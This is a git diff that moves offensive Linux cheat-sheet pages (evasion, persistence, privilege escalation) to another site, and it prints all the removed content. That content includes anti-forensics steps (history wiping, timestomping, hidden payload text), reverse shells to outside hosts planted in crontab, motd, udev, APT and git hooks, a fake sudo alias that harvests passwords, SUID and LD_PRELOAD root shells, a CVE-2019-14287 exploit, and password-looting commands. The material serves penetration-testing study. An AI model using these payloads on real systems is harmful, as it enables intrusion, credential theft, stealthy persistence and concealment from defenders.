* [Embedded Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#embedded-files)
* [Code Signing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-signing)

View File

@ -1,120 +1,8 @@
# Linux - Evasion
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/initial-access](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/)
- [File names](#file-names)
- [Command history](#command-history)
- [Hiding text](#hiding-text)
- [Timestomping](#timestomping)
## File Names
An Unicode zero-width space can be inserted into filenames which makes the names visually indistinguishable:
```bash
# A decoy file with no special characters
touch 'index.php'
# An imposter file with visually identical name
touch $'index\u200D.php'
```
## Command History
Most shells save their command history so a user can recall them again later. The command history can be viewed with the `history` command or by manually inspecting the contents of the file pointed to by `$HISTFILE` (e.g. `~/.bash_history`).
This can be prevented in a number of ways.
```bash
# Prevent writing to the history file at all
unset HISTFILE
# Don't save this session's command history in memory
export HISTSIZE=0
```
Individual commands that match a pattern in `HISTIGNORE` will be excluded from the command history, regardless of `HISTFILE` or `HISTSIZE` settings.
By default, `HISTIGNORE` will ignore all commands that begin with whitespace:
```bash
# Note the leading space character:
my-sneaky-command
```
If commands are accidentally added to the command history, individual command entries can be removed with `history -d`:
```bash
# Removes the most recently logged command.
# Note that we actually have to delete two history entries at once,
# otherwise the `history -d` command itself will be logged as well.
history -d -2 && history -d -1
```
The entire command history can be purged as well, although this approach is much less subtle and very likely to be noticed:
```bash
# Clears the in-memory history and writes the empty history to disk.
history -c && history -w
```
## Hiding Text
ANSI escape sequences can be abused to hide text under certain circumstances.
If the file's contents are printed to the terminal (e.g. `cat`, `head`, `tail`) then the text will be hidden.
If the file is viewed with an editor (e.g. `vim`, `nano`, `emacs`), then the escape sequences will be visible.
```bash
echo "sneaky-payload-command" > script.sh
echo "# $(clear)" >> script.sh
echo "# Do not remove. Generated from /etc/issue.conf by configure." >> script.sh
# When printed, the terminal will be cleared and only the last line will be visible:
cat script.sh
```
## Timestomping
Timestomping refers to the alteration of a file or directory's modification/access timestamps in order to conceal the fact that it was modified.
The simplest way to accomplish this is with the `touch` command:
```bash
# Changes the access (-a) and modification (-m) times using YYYYMMDDhhmm format.
touch -a -m -t 202210312359 "example"
# Changes time using a Unix epoch timestamp.
touch -a -m -d @1667275140 "example"
# Copies timestamp from one file to another.
touch -a -m -r "other_file" "example"
# Get the file's modification timestamp, modify the file, then restore the timestamp.
MODIFIED_TS=$(stat --format="%Y" "example")
echo "backdoor" >> "example"
touch -a -m -d @$MODIFIED_TS "example"
```
It should be noted that `touch` can only modify the access and modification timestamps. It can't be used to update a file's "change" or "birth" timestamps. The birth timestamp, if supported by the filesystem, tracks when the file was created. The change timestamp tracks whenever the file's metadata changes, including updates to the access and modification timestamps.
If an attacker has root privileges, they can work around this limitation by modifying the system clock, creating or modifying a file, then reverting the system clock:
```bash
ORIG_TIME=$(date)
date -s "2022-10-31 23:59:59"
touch -a -m "example"
date -s "${ORIG_TIME}"
```
Don't forget that creating a file also updates the parent directory's modification timestamp as well!
## References
- [ATT&CK - Impair Defenses: Impair Command History Logging](https://attack.mitre.org/techniques/T1562/003/)
- [ATT&CK - Indicator Removal: Timestomp](https://attack.mitre.org/techniques/T1070/006/)
- [ATT&CK - Indicator Removal on Host: Clear Command History](https://attack.mitre.org/techniques/T1070/003/)
- [ATT&CK - Masquerading: Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [Wikipedia - ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code)
- [InverseCos - Detecting Linux Anti-Forensics: Timestomping](https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html)
- [File names](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#file-names)
- [Command history](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#command-history)
- [Hiding text](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#hiding-text)
- [Timestomping](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#timestomping)

View File

@ -1,237 +1,18 @@
# Linux - Persistence
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/linux-persistence](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/)
* [Basic reverse shell](#basic-reverse-shell)
* [Add a root user](#add-a-root-user)
* [Suid Binary](#suid-binary)
* [Crontab - Reverse shell](#crontab---reverse-shell)
* [Backdooring a user's bash_rc](#backdooring-a-users-bash_rc)
* [Backdooring a startup service](#backdooring-a-startup-service)
* [Backdooring a user startup file](#backdooring-a-user-startup-file)
* [Backdooring Message of the Day](#backdooring-message-of-the-day)
* [Backdooring a driver](#backdooring-a-driver)
* [Backdooring the APT](#backdooring-the-apt)
* [Backdooring the SSH](#backdooring-the-ssh)
* [Backdooring Git](#backdooring-git)
* [Additional Linux Persistence Options](#additional-persistence-options)
* [References](#references)
## Basic reverse shell
```bash
ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
```
## Add a root user
```powershell
sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john
```
## Suid Binary
```powershell
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
```
## Crontab - Reverse shell
```bash
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
```
## Backdooring a user's bash_rc
(FR/EN Version)
```bash
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2
```
or add the following line inside its .bashrc file.
```powershell
$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
```
and create the `fakesudo` script.
```powershell
read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt
/usr/bin/sudo $@
```
## Backdooring a startup service
* Edit `/etc/network/if-up.d/upstart` file
```bash
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
```
## Backdooring Message of the Day
* Edit `/etc/update-motd.d/00-header` file
```bash
echo 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/update-motd.d/00-header
```
## Backdooring a user startup file
Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop`
```powershell
In : ~/.config/autostart/*.desktop
[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false
```
## Backdooring a driver
```bash
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
```
## Backdooring the APT
If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};`
Next time "apt-get update" is done, your CMD will be executed!
```bash
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```
## Backdooring the SSH
Add an ssh key into the `~/.ssh` folder.
1. `ssh-keygen`
2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys
## Backdooring Git
Backdooring git can be a useful way to obtain persistence without the need for root access.
Special care must be taken to ensure that the backdoor commands create no output, otherwise the persistence is trivial to notice.
### Git Configs
There are multiple [git config variables](https://git-scm.com/docs/git-config) that execute arbitrary commands when certain actions are taken.
As an added bonus, git configs can be specified multiple ways leading to additional backdoor opportunities.
Configs can be set at the user level (`~/.gitconfig`), at the repository level (`path/to/repo/.git/config`), and sometimes via environment variables.
`core.editor` is executed whenever git needs to provide the user with an editor (e.g. `git rebase -i`, `git commit --amend`).
The equivalent environment variable is `GIT_EDITOR`.
```properties
[core]
editor = nohup BACKDOOR >/dev/null 2>&1 & ${VISUAL:-${EDITOR:-emacs}}
```
`core.pager` is executed whenever git needs to potentially large amounts of data (e.g. `git diff`, `git log`, `git show`).
The equivalent environment variable is `GIT_PAGER`.
```properties
[core]
pager = nohup BACKDOOR >/dev/null 2>&1 & ${PAGER:-less}
```
`core.sshCommand` is executed whenever git needs to interact with a remote *ssh* repository (e.g. `git fetch`, `git pull`, `git push`).
The equivalent environment variable is `GIT_SSH` or `GIT_SSH_COMMAND`.
```properties
[core]
sshCommand = nohup BACKDOOR >/dev/null 2>&1 & ssh
[ssh]
variant = ssh
```
Note that `ssh.variant` (`GIT_SSH_VARIANT`) is technically optional, but without it git will run `sshCommand` _twice_ in rapid succession. (The first run is to determine the SSH variant and the second to pass it the correct parameters.)
### Git Hooks
[Git hooks](https://git-scm.com/docs/githooks) are programs you can place in a hooks directory to trigger actions at certain points during git's execution.
By default, hooks are stored in a repository's `.git/hooks` directory and are run when their name matches the current git action and the hook is marked as executable (i.e. `chmod +x`).
Potentially useful hook scripts to backdoor:
- `pre-commit` is run just before `git commit` is executed.
- `pre-push` is run just before `git push` is executed.
- `post-checkout` is run just after `git checkout` is executed.
- `post-merge` is run after `git merge` or after `git pull` applies new changes.
In addition to spawning a backdoor, some of the above hooks can be used to sneak malicious changes into a repo without the user noticing.
Lastly, it is possible to globally backdoor _all_ of a user's git hooks by setting the `core.hooksPath` git config variable to a common directory in the user-level git config file (`~/.gitconfig`). Note that this approach will break any existing repository-specific git hooks.
## Additional Persistence Options
* [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)
* [Compromise Client Software Binary](https://attack.mitre.org/techniques/T1554)
* [Create Account](https://attack.mitre.org/techniques/T1136/)
* [Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/)
* [Create or Modify System Process](https://attack.mitre.org/techniques/T1543/)
* [Create or Modify System Process: Systemd Service](https://attack.mitre.org/techniques/T1543/002/)
* [Event Triggered Execution: Trap](https://attack.mitre.org/techniques/T1546/005/)
* [Event Triggered Execution](https://attack.mitre.org/techniques/T1546/)
* [Event Triggered Execution: .bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004/)
* [External Remote Services](https://attack.mitre.org/techniques/T1133/)
* [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/)
* [Hijack Execution Flow: LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/)
* [Pre-OS Boot](https://attack.mitre.org/techniques/T1542/)
* [Pre-OS Boot: Bootkit](https://attack.mitre.org/techniques/T1542/003/)
* [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/)
* [Scheduled Task/Job: At (Linux)](https://attack.mitre.org/techniques/T1053/001/)
* [Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/)
* [Server Software Component](https://attack.mitre.org/techniques/T1505/)
* [Server Software Component: SQL Stored Procedures](https://attack.mitre.org/techniques/T1505/001/)
* [Server Software Component: Transport Agent](https://attack.mitre.org/techniques/T1505/002/)
* [Server Software Component: Web Shell](https://attack.mitre.org/techniques/T1505/003/)
* [Traffic Signaling](https://attack.mitre.org/techniques/T1205/)
* [Traffic Signaling: Port Knocking](https://attack.mitre.org/techniques/T1205/001/)
* [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001/)
* [Valid Accounts: Domain Accounts 2](https://attack.mitre.org/techniques/T1078/002/)
## References
* [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289)
* [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/)
* [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html)
* [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)
* [Pouki from JDI](#no_source_code)
* [Basic reverse shell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#basic-reverse-shell)
* [Add a root user](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#add-a-root-user)
* [Suid Binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#suid-binary)
* [Crontab - Reverse shell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#crontab---reverse-shell)
* [Backdooring a user's bash_rc](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-users-bash_rc)
* [Backdooring a startup service](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-startup-service)
* [Backdooring a user startup file](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-user-startup-file)
* [Backdooring Message of the Day](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-message-of-the-day)
* [Backdooring a driver](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-driver)
* [Backdooring the APT](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-apt)
* [Backdooring the SSH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-ssh)
* [Backdooring Git](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git)
* [Additional Linux Persistence Options](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#additional-persistence-options)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#references)

View File

@ -1,832 +1,50 @@
# Linux - Privilege Escalation
## Summary
* [Tools](#tools)
* [Checklist](#checklists)
* [Looting for passwords](#looting-for-passwords)
* [Files containing passwords](#files-containing-passwords)
* [Old passwords in /etc/security/opasswd](#old-passwords-in-etcsecurityopasswd)
* [Last edited files](#last-edited-files)
* [In memory passwords](#in-memory-passwords)
* [Find sensitive files](#find-sensitive-files)
* [SSH Key](#ssh-key)
* [Sensitive files](#sensitive-files)
* [SSH Key Predictable PRNG (Authorized_Keys) Process](#ssh-key-predictable-prng-authorized_keys-process)
* [Scheduled tasks](#scheduled-tasks)
* [Cron jobs](#cron-jobs)
* [Systemd timers](#systemd-timers)
* [SUID](#suid)
* [Find SUID binaries](#find-suid-binaries)
* [Create a SUID binary](#create-a-suid-binary)
* [Capabilities](#capabilities)
* [List capabilities of binaries](#list-capabilities-of-binaries)
* [Edit capabilities](#edit-capabilities)
* [Interesting capabilities](#interesting-capabilities)
* [SUDO](#sudo)
* [NOPASSWD](#nopasswd)
* [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd)
* [Doas](#doas)
* [sudo_inject](#sudo_inject)
* [CVE-2019-14287](#cve-2019-14287)
* [GTFOBins](#gtfobins)
* [Wildcard](#wildcard)
* [Writable files](#writable-files)
* [Writable /etc/passwd](#writable-etcpasswd)
* [Writable /etc/sudoers](#writable-etcsudoers)
* [NFS Root Squashing](#nfs-root-squashing)
* [Shared Library](#shared-library)
* [ldconfig](#ldconfig)
* [RPATH](#rpath)
* [Groups](#groups)
* [Docker](#docker)
* [LXC/LXD](#lxclxd)
* [Hijack TMUX session](#hijack-tmux-session)
* [Kernel Exploits](#kernel-exploits)
* [CVE-2022-0847 (DirtyPipe)](#cve-2022-0847-dirtypipe)
* [CVE-2016-5195 (DirtyCow)](#cve-2016-5195-dirtycow)
* [CVE-2010-3904 (RDS)](#cve-2010-3904-rds)
* [CVE-2010-4258 (Full Nelson)](#cve-2010-4258-full-nelson)
* [CVE-2012-0056 (Mempodipper)](#cve-2012-0056-mempodipper)
## Tools
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escalation vectors.
Here are a few:
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
```powershell
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users
```
- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration)
```powershell
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system
```
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
```powershell
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
- [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER)
## Checklists
* Kernel and distribution release details
* System Information:
* Hostname
* Networking details:
* Current IP
* Default route details
* DNS server information
* User Information:
* Current user details
* Last logged on users
* Shows users logged onto the host
* List all users including uid/gid information
* List root accounts
* Extracts password policies and hash storage method information
* Checks umask value
* Checks if password hashes are stored in /etc/passwd
* Extract full details for 'default' uid's such as 0, 1000, 1001 etc
* Attempt to read restricted files i.e. /etc/shadow
* List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
* Basic SSH checks
* Privileged access:
* Which users have recently used sudo
* Determine if /etc/sudoers is accessible
* Determine if the current user has Sudo access without a password
* Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
* Is root's home directory accessible
* List permissions for /home/
* Environmental:
* Display current $PATH
* Displays env information
* Jobs/Tasks:
* List all cron jobs
* Locate all world-writable cron jobs
* Locate cron jobs owned by other users of the system
* List the active and inactive systemd timers
* Services:
* List network connections (TCP & UDP)
* List running processes
* Lookup and list process binaries and associated permissions
* List inetd.conf/xined.conf contents and associated binary file permissions
* List init.d binary permissions
* Version Information (of the following):
* Sudo
* MYSQL
* Postgres
* Apache
* Checks user config
* Shows enabled modules
* Checks for htpasswd files
* View www directories
* Default/Weak Credentials:
* Checks for default/weak Postgres accounts
* Checks for default/weak MYSQL accounts
* Searches:
* Locate all SUID/GUID files
* Locate all world-writable SUID/GUID files
* Locate all SUID/GUID files owned by root
* Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
* Locate files with POSIX capabilities
* List all world-writable files
* Find/list all accessible *.plan files and display contents
* Find/list all accessible *.rhosts files and display contents
* Show NFS server details
* Locate *.conf and *.log files containing keyword supplied at script runtime
* List all *.conf files located in /etc
* Locate mail
* Platform/software specific tests:
* Checks to determine if we're in a Docker container
* Checks to see if the host has Docker installed
* Checks to determine if we're in an LXC container
## Looting for passwords
### Files containing passwords
```powershell
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
```
### Old passwords in /etc/security/opasswd
The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes
### Last edited files
Files that were edited in the last 10 minutes
```powershell
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
```
### In memory passwords
```powershell
strings /dev/mem -n10 | grep -i PASS
```
### Find sensitive files
```powershell
$ locate password | more
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password
...
```
## SSH Key
### Sensitive files
```
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
...
```
### SSH Key Predictable PRNG (Authorized_Keys) Process
This module describes how to attempt to use an obtained authorized_keys file on a host system.
Needed : SSH-DSS String from authorized_keys file
**Steps**
1. Get the authorized_keys file. An example of this file would look like so:
```
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
```
2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`:
```
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
/etc/init.d/ssh restart
```
3. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys:
```
git clone https://github.com/g0tmi1k/debian-ssh
cd debian-ssh
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
```
4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as:
```
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
```
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
```
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
```
And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
## Scheduled tasks
### Cron jobs
Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.
```powershell
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
```
You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
```powershell
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
```
## Systemd timers
```powershell
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service
Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
3 timers listed.
```
## SUID
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`.
```powershell
╭─swissky@lab ~
╰─$ ls /usr/bin/sudo -alh
-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
```
### Find SUID binaries
```bash
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
```
### Create a SUID binary
| Function | Description |
|------------|---|
| setreuid() | sets real and effective user IDs of the calling process |
| setuid() | sets the effective user ID of the calling process |
| setgid() | sets the effective group ID of the calling process |
```bash
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit
```
## Capabilities
### List capabilities of binaries
```powershell
╭─swissky@lab ~
╰─$ /usr/bin/getcap -r /usr/bin
/usr/bin/fping = cap_net_raw+ep
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin = cap_net_bind_service+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/rsh = cap_net_bind_service+ep
/usr/bin/rcp = cap_net_bind_service+ep
```
### Edit capabilities
```powershell
/usr/bin/setcap -r /bin/ping # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add
```
### Interesting capabilities
Having the capability =ep means the binary has all the capabilities.
```powershell
$ getcap openssl /usr/bin/openssl
openssl=ep
```
Alternatively the following capabilities can be used in order to upgrade your current privileges.
```powershell
cap_dac_read_search # read anything
cap_setuid+ep # setuid
```
Example of privilege escalation with `cap_setuid+ep`
```powershell
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
```
| Capabilities name | Description |
|---|---|
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
| CAP_DAC_READ_SEARCH | This only bypasses file and directory read/execute permission checks |
| CAP_FOWNER | This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
| CAP_KILL | Allow the sending of signals to processes belonging to others |
| CAP_SETGID | Allow changing of the GID |
| CAP_SETUID | Allow changing of the UID |
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
| CAP_IPC_LOCK | This helps to lock memory |
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
| CAP_NET_RAW | Use RAW and PACKET sockets |
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
## SUDO
Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
### NOPASSWD
Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
```bash
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
```bash
sudo vim -c '!sh'
sudo -u root vim -c '!sh'
```
### LD_PRELOAD and NOPASSWD
If `LD_PRELOAD` is explicitly defined in the sudoers file
```powershell
Defaults env_keep += LD_PRELOAD
```
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
### Doas
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
```bash
permit nopass demo as root cmd vim
```
### sudo_inject
Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject)
```powershell
$ sudo whatever
[sudo] password for user:
# Press <ctrl>+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
```
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
### CVE-2019-14287
```powershell
# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
# If you have a full TTY, you can exploit it like this
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
```
## GTFOBins
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '\! /bin/sh'
> strace -o /dev/null /bin/sh
> sudo awk 'BEGIN {system("/bin/sh")}'
## Wildcard
